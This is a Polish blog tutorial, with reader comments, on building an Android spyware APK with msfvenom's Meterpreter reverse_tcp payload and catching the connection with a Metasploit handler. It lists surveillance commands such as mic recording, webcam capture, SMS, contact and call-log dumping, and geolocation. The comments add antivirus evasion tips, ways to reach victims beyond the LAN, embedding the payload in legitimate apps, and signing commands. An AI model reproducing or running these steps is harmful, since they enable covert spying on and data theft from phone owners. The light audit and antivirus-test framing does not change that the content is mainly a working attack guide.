Zastanawiasz się, czy Twój smartfon jest bezpieczny? Wiele dostaliśmy wiadomości od Was o takiej treści jak: czy istnieje szpieg sms, keylogger Android lub ewentualnie czy jest możliwa lokalizacja telefonu komórkowego. Teraz czas na oficjalną odpowiedź… Tak. Hakowanie systemu z robocikiem jest to jak najbardziej możliwe. Wykorzystamy dzisiaj do tego pakiet dla hakerów Metasploit, wraz z jego narzędziem msfvenom. Pamiętajcie jednak, że nie istnieją magiczne strony internetowe na których możecie sprawdzić takie informacje. Jest to po prostu naciąganie Was na pieniądze (abonament SMS). Audyt systemów informatycznych wymaga po prostu wiedzy a nie naiwności. Przejdźmy do rzeczy. Utworzymy dzisiaj coś na wzór darmowego pliku Android keylogger APK. Jednak technicznie nie jest to do końca aplikacja monitorując klawisze…
Tworzymy keylogger Android APK
Jak zwykle zaopatrz się w najnowszy darmowy system operacyjny Kali Linux wielokrotnie już przez nas opisywany. My dodatkowo zainstalowaliśmy Androida w bardzo popularnej wersji 4.4 KitKat (root) w VirtualBox w celach testowych. Polecamy również przed przystąpieniem do lektury zapoznanie się jeśli tego jeszcze nie zrobiłeś z następującym wpisem o ładunkach payload:
Wideo prezentujące atak na system Android
Poniżej zamieszczamy film instruktażowy dotyczący dalszej części tego wpisu. Poruszamy w nim również aspekty dlaczego nie warto instalować nielegalnego oprogramowania w swoich systemach mobilnych i sprawdzamy skuteczność antywirusa. Zachęcamy do subskrybowania kanału na YouTube, jeśli chcesz być stale na bieżąco.
Generowanie za pomocą meterpretera aplikacji APK
Wydaj w konsoli Kali Linux następujące polecenie:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.42 LPORT=16666 -f raw > aplikacja.apk
Powyższe polecenie wygeneruje w katalogu bieżącym plik o nazwie aplikacja.apk.
Objaśnienie parametrów polecenia msfvenom:
- -p – typ użytego ładunku. W naszym przypadku używamy meterpretera dedykowanego dla systemu Android.
- LHOST – adres IP komputera z którym ma się połączyć telefon z Androidem. Jeśli posiadamy zewnętrzny adres IP możemy właśnie jego użyć przekierowując port 16666 na nasz adres lokalnego komputera. Od razu odpowiedź na częste pytanie: tak, działa wtedy to nie tylko w sieci lokalnej LAN.
- LPORT – port na którym nasłuchujemy połączenia przychodzącego. System Android po uruchomieniu aplikacji właśnie z nim się połączy.
- -f raw – wskazujemy, że chcemy utworzyć surowy plik.
- > aplikacja.apk – przekierowanie strumienia do pliku aplikacja.apk. Jest to aplikacja dedykowana dla systemu Android.
Oczekiwanie na połączenie zwrotne pluskwy
Jak pewnie wiecie z wcześniej polecanego wpisu na naszym blogu, payload to nie wszystko… Do działania potrzeba jeszcze utworzenia gniazda oczekującego na połączenie przychodzące od naszej złośliwej aplikacji. Na szczęście pakiet Metasploit posiada gotowy tego typu uchwyt o nazwie multi/handler. Wydaj następujące polecenia jedno pod drugim:
msfconsole use multi/handler set payload android/meterpreter/reverse_tcp set lport 16666 set lhost 192.168.0.42 run
Po uruchomieniu msfconsole wskazujemy narzędziu, że chcemy użyć multi/handler. Następnie ustawiamy odpowiedni ładunek. Payload musi być tym samym ładunkiem, który użyliśmy do utworzenia aplikacji w msfvenom.
W kolejnym kroku ustawiamy port i nasz adres IP. Również i te parametry podaliśmy w naszej wygenerowanej aplikacji Android z rozszerzeniem apk. Teraz wystarczy uruchomić nasłuchiwanie za pomocą polecenia run. To wszystko. Gdy na telefonie ofiary zostanie uruchomiona aplikacja powinniśmy uzyskać z nią połączenie. Cyberprzestępcy prześcigają się atakach socjaltechnicznych przekonujących ofiarę do pobrania i uruchomienia aplikacji mobilnej, więc tego dzisiaj nie opisujemy.
Ciekawe polecenia Meterpretera Android
Poniżej zestawiliśmy kilka najciekawszych możliwości naszego dostarczonego złośliwego ładunku:
- record_mic – umożliwia utworzenie podsłuchu telefonu za pomocą wbudowanego w urządzenie mikrofonu.
- webcam_chat – komenda pozwala rozpocząć czat wideo z zainfekowanym telefonem.
- webcam_snap – wykonuje zdalnie zdjęcie aparatem telefonu, a następnie automatycznie nam je przesyła.
- webcam_stream – uruchomia mikrokamere w telefonie, która umożliwia podgląd osoby na żywo.
- dump_calllog – przechwytywanie logów połączeń wykonywanych i przychodzących do osoby.
- dump_contacts – przechwytywanie zapisanych kontaktów w smartfonie.
- dump_sms -szpieg sms, który umożliwia skopiowanie wszystkich wiadomości do pliku tekstowego w naszym systemie operacyjnym. W gruncie rzeczy mimo technicznej odmienności od typowego keyloggera, możemy tą funkcje uznać z powodzeniem za tego typu funkcjonalność mobilną.
- geolocate – lokalizacja telefonu komórkowego za pomocą wbudowanego odbiornika GPS.
- send_sms – możliwość wysyłania wiadomości SMS z zainfekowanego systemu operacyjnego Android.
- wlan_geolocate – geolokalizacja telefonu za pomocą sieci bezprzewodowych Wi-Fi znajdujących się w okolicy.
Oczywiście komend jest dużo więcej i widać to na dołączonym powyżej naszym filmie. Poniższy zrzut ekranu obrazuje przechwycone wiadomości SMS z systemu Android w wersji 4.4.
Czy antywirus Android jest potrzebny?
W celu dopełnienia tego wpisu postanowiłem sprawdzić czy skanowanie programem antywirusowym w systemie Android wykryje zagrożenie. Odpowie to Tobie na pytanie czy jest sens używania antywirusów, ponieważ wiele osób nadal to neguje. Odpowiedź prosta…
Tak jak widać jest sens wykonywania cyklicznego skanowania swojego urządzenia mobilnego i nawet jego szyfrowania. Ten drugi przypadek ochroni nasze dane po kradzieży urządzenia. Warto przy okazji przejrzeć nas test antywirusów 2016 na system android:
Jeśli chcesz być na bieżąco pamiętaj o polubieniu naszego fanpage na facebooku tutaj. Pozdrawiamy i owocnej nauki komputerowcy! 🙂
Da się plik potraktować czymś co by stracił na wykrywalności?
VEIL’em lub czymś takim?
Każda nawet drobna nawet modyfikacja, może wpłynąć na zmniejszenie wykrywalności pliku. Służą do tego również tzn. cryptery. Warto wpisać komendę:
msfvenom -h
I zainteresować się parametren –encoder, –space, –nopsled i kilkoma innymi. Najlepszym jednak rozwiązaniem jest napisanie oprogramowania od zera w Javie… bo umówmy się że jak coś jest ogólnodostępne to wiesz… Co do skryptu VEIL to nigdy osobiście nie próbowałem na aplikacjach na platforme Android. Obawiam się, że jest dedykowany głównie dla wykonywalnych plików Windołsowych. Jest jeszcze narzędzie Shellter/Hyperion i dużo autorskich na hackforums.net.
Ahh, szkoda, że to działa tylko w sieci lokalnej, bawiłem sie tym, ogólnie próbowałem też znaleźć info jak zarazić fona sms’em ale nadal jest problem, że to nie działa poza siecią lan – chyba, że panowie wiecie jak to odpalić by działało poza lan’em? 😀 Ogólnie świetny poradnik 🙂
Działa jak praktycznie wszystkie porady, ja testowałem na publicznym z poza LAN ale nie chciałem cenzurować całego filmu apropo adresów. Musisz mieć zewnętrzne publiczne IP (móc być serwerem aplikacji/gry) żeby ładunek mógł się z Tobą połączyć. W przypadku gdy komputer Twój nie jest bezpośrednio podłączony do Internetu tylko poprzez router to trzeba przekierować porty (01:36s): https://youtu.be/NcuicyoVw_k?t=96 tak jak w zwykłej grze/serwerze. Połączenie zwrotne reverse_tcp stosuje się właśnie po to, aby w przypadku gdy osoba nie posada publicznego własnego adresu IP to połączenie się udało. W przypadku gdy osoba posiada taki adres IP i nie chroni jej NAT (routerowy firewall), bądź jak przekieruje (w naszym przypadku port 16666) na lokalny komputer w sieci można spokojnie używać bind_tcp zamiast odwróconego. Szerzej opisane jest to w tym wpisie Payload. Jeśli oba przypadki nie są spełnione to wykorzystuje się serwery pośredniczące np: serwer http/ftp/irc a nawet protokół gg (metaspolit nie wspiera gg). Działa to tak, że ten serwer w środku jest dostępny publicznie (tak jak strona internetowa) w sieci i przekazuje polecenia pomiędzy napastnikiem a ofiara. Inny sposób to zakup serwera VPS lub taniego konta shell (ssh). Na nim instalujesz metasploita w konsoli i ustawiasz handler. Da się nawet tak zrobić, aby automatycznie oczekiwał na wiele połączeń i każde nową sesje minimalizował do dalszego użytku kiedyś przez cyberprzestępce. Przydatne tutaj polecenia to sessions, jobs, background.
a nie wystarczy kupic powiedzmy airvpn i tam otworzyć konkretny port?
Padła odpowiedź w komentarzu o możliwości użycia VPS jeśli któraś ze stron nie posiada zewnętrznego adresu IP.
Od czego zależy czy nagrywanie mikrofonem/webcam sie odpali ? testowałem na 2 telefonach i na tablecie i funkcje webcam i record mają błąd
Ciężko stwierdzić. Ja na fizycznym urządzeniu testowałem na starszych Androidach Samsungowych i działało. Pewnie różne moduły kamer instalują producenci i nie dla każdego wspiera sterownik. Jak coś znajdziemy na temat Androida, bo obecnie to nie nasz ekosystem to dodamy jakiś wpis :-)!
Zwykły, przeciętny użytkownik Androida by się w życiu nie połapał, że coś ma, ale oczywiście nie w surowej wersji. 😛 Tego Venoma warto wstawić w inną, już gotową aplikację (np. jakiś Root Expolorer). 🙂
Najpierw trzeba mieć Androida, żeby się nim bawić…
Wcisnąłem tego Venoma do Root Explorera, że uruchamia się razem z tą aplikacją i poprawnie łączy się z komputerem, ale jakiej komendy bym nie wydał to wywala „Operation failed: 1”, np. „dump_sms: Operation failed: 1”. Jako oddzielna aplikacja działa świetnie, ale jeśli to wsadzę w jakąś inną apkę to mam ten błąd. 🙁
A czy można utworzyć w ten sposób wirus automatycznie nagrywający przeprowadzone rozmowy i wprowadzone znaki w różnych aplikacjach, a nie tylko w wiadomościach sms? Tak aby po połączeniu można było skopiować zapisane rozmowy? Coś na zasadzie ukrytej aplikacji ACR?
Nie wiem, bo procederem przestępczym się nie zajmuje i nie wiem po co audytor bezpieczeństwa miałby nagrywać wiadomości… Jednak znając troszeczkę API Androida mogę stwierdzić, że taką aplikacje dałoby się napisać w Javie.
Dzień dobry…Jestem młody i chcę się odnaleźć w Hakerstwie, i chciałbym prosić cię o jakieś dobre aplikacje na telefon które mi pomogą do odnajdywania danych osób które są w pobliżu mnie.
Witam,
Chciałbym coś takiego zainstalować na telefonach moich dzieci tylko brakuje mi tu funkcji historii uruchamianych plików. Chodzi o to, że np. młody uruchomi sobie jakieś filmy na telefonie z karty pamięci i chciałbym mieć log zawierający godzinę uruchomienia i nazwę uruchomionego pliku. Czy takie coś też się przy pomocy tej aplikacji zapisuje?
Dzień dobry,
w Pana wypadku lepszym rozwiązaniem są aplikacje do kontroli rodzicielskiej. Takie oprogramowanie kontrolne występuje nie tylko na system operacyjny Microsoft Windows, ale i Androida. W Google więcej informacji uzyskasz wpisując „kontrola rodzicielska android”. Przykładem takiego programu może być Norton Family lub Kytephone. Takich aplikacji na pewno jest dużo, dużo więcej również darmowych. Polecam poszukać i sprawdzić czy spełnia Pana wymagania. Pozdrawiam
Witam,na Samsunga Galaxy 5 jest możliwość sciagniecia i w jaki sposób?
jeśli chcemy to wykorzystać to w fizycznym urządzeniu to musimy podpisać aplikacje np. tym sposobem (sprawdzone) http://ethicalhackingtuts.blogspot.com/2015/12/signing-apk-file-in-this-tutorial-i.html
Witam!
Chcialem podpytac czy jest mozliwy sniffing prowadzony z urzadzenia z robocikiem?
Pozdrawiam.
Tak, pod warunkiem że masz zrootowane urządzenie. Snifferów na Androida jest dużo np: Wicap.
Witam „Musisz mieć zewnętrzne publiczne IP (móc być serwerem aplikacji/gry) ” jaki jest najprostszy sposob w uzyskaniu takiego ip ? 🙂
Jest tylko jeden sposób. To zależy od dostawcy Internetu i Twojej umowy z nim czy posiadasz zewnętrzne publiczne IP, czy też nie. Więc trzeba tam zatelefonować i spytać jak nie wiesz czy masz. Często to jest oczywiście opcja dodatkowa płatana, bo jak wiadomo ilość adresów IP na świecie jest ograniczona.
Aplikacji nie można zainstalować na Androdzie, bo wyskakuje błąd „Aplikacja nie została zainstalowana”.
Czy system jest zrootowany? Bo jednak 99,9% urządzeń nie jest i większość osób nawet nie wie co to jest i że traci przez to gwarancje.
Problem występował, ponieważ aplikacja nie jest podpisana, a mój telefon nie chce instalować aplikacji bez podpisu.
Należy stworzyć klucz
keytool -genkey -v -keystore klucz.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
a następnie dodać go do pliku .apk
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore klucz.keystore aplikacja.apk alias_name
Wiatm. Po pobraniu pliku na swoj telefon i polaczeniu sie z nim:
[*] Started reverse TCP handler on 192.168.1.65:16666
msf exploit(handler) > [*] Sending stage (69050 bytes) to 192.168.1.175
[*] Meterpreter session 1 opened (192.168.1.65:16666 -> 192.168.1.175:54877) at 2018-01-09 17:16:21 +0100
Nie dziala zadzna komenda. Dodam ze zamiast po poalczeniu z tel nie wyswietla mi meterpreter >
a msf exploit(handler) >
Co mam zrobic?
Jakim sposobem wcisnąć to do innego pliku apk
Witam! W Kali Linuxie nie działa mi połączenie Wi-Fi i jest tylko Ethernet. Co mogę zrobić (VirtualBox)?
https://www.youtube.com/watch?v=fdS96jvBuHA
XD
witam mam pytanie a czy jest mozliwość zainstalowania tego w zdjeciu czyli jak wyslemy zdjecie i osoba je odbierze jest to w stanie wejsc do tel.